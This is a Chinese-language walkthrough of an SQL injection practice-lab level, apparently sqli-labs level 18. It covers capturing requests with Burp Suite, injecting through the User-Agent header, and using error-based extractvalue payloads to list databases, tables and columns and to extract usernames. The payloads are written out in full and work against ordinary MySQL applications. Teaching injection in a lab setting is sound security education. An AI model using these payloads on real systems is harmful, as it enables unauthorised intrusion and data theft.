目录
12、获取users表中username字段下第一个数据,以第0位为起点向后推进1位(不包括0)
第十八关
我们发现在不管那个文本框输入各种的符号都没有用。
这时候我们就可以分析它的HTTP请求包来进行攻击。
1、设置代理
查看BP的代理
查看浏览器代理
如果"例如:"后面的字不一致请做以下设置
在文本框中输入network.proxy.allow_hijacking_localhost然后把false改成true
2、使用BP抓包
切换到浏览器我们输入账号密码然后点击Submit,然后我们打开BP就会发现已经抓取的HTTP请求包。
3、BP重放攻击
我们按以下Ctrl+R键,然后点击Repeater查看我们传送过来的请求包
点击Go查看一下正常页面
4、寻找注入点
我们先试一下User-Agent,在它的最后加一个单引号看看。
5、分析报错信息
关键信息:'127.0.0.1','admin')'
分析它的闭合方式是('User-Agent','IP','Username')
6、绕过User-Agent
User-Agent: 1',1,1) -- +
7、异常报错
User-Agent只是一个特殊的字符串,所以我们去判断字段数,因为没有信息,所以提供报错。
这时候我们就可以使用异常报错的方式来获取我们想要的信息
8、获取所有数据库名
因为它报错回显的字符数量有限,所以我们需要更改1,32的1,以第1位开始往后32位的字符(其中包括第1位)
User-Agent: 1',1,extractvalue(1,concat(0x7e,substr((select binary(group_concat(schema_name)) from information_schema.schemata),1,32),0x7e))) -- +
9、获取当前数据库名
User-Agent: 1',1,extractvalue(1,concat(0x7e,(select database())))) -- +
10、获取security数据库下的所有数据表
User-Agent: 1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))) -- +
11、获取security数据库下users表中所有字段名
User-Agent: 1',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))) -- +
12、获取users表中username字段下第一个数据,以第0位为起点向后推进1位(不包括0)
User-Agent: 1',1,extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e))) -- +
我们逐步去拿数据,其中可能会比较浪费时间,可以选择用sqlmap工具。
到此闯关完成,闯关结束。